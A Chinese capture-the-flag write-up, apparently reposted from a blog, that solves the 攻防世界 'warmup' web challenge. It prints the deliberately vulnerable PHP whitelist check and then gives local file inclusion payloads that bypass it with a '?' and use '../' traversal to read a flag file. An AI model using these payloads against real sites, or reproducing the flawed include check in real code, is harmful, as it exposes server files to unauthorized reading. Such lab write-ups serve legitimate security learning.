攻防世界-warmup题

攻防世界-warmup题

打开靶场后发现为一张滑稽的图片:

image-20211112201524491

查看源代码:

image-20211112201547902

输入source.php查看页面源代码,进行代码审计:

image-20211112201729031

image-20211112201746094

查看代码发现另外一个网址hint.php输入网址后发现提示flag不在这,在 ffffllllaaaagggg文件中

image-20211112202618202

继续查看代码发现输入网址中必须要有参数file,且file的值必须是字符串,且通过checkFile函数的检验:

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }

否则就会显示滑稽的图片,查看checkFile函数:

public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }

通过代码审计发现函数中有三处返回true的if判断:

第一处返回true的if判断的条件是file参数的值必须在whitelist数组中,查看whitelist数组发现无法实现

第二处返回true的if判断的条件是截取出来的file必须在whitelist数组中,查看截取函数,可发现截取的是file字符转中 “?” 的前部分,若无 “?” ,则返回整个page,所以如果想让file参数的值通过checkFile函数,可直接在file的参数最后面加上一个 “?” 即可:

?file=source.php?

返回结果为空白页面:

image-20211112203036318

此时,我们发现已经没有滑稽的图片了,说明我们已经通过checkFile函数的检测了,只是flag的值不在当前文件中,联想到hint.php网页中给出的提示,我们继续往根目录查看ffffllllaaaagggg文件

?file=source.php?../ffffllllaaaagggg
?file=source.php?../../ffffllllaaaagggg
?file=source.php?../../../ffffllllaaaagggg
?file=source.php?../../../../ffffllllaaaagggg
?file=source.php?../../../../../ffffllllaaaagggg

终于,在往上五层的查找中,找到了flag的值:

image-20211112203418874

猜你喜欢

转载自blog.csdn.net/weixin_46784800/article/details/121295468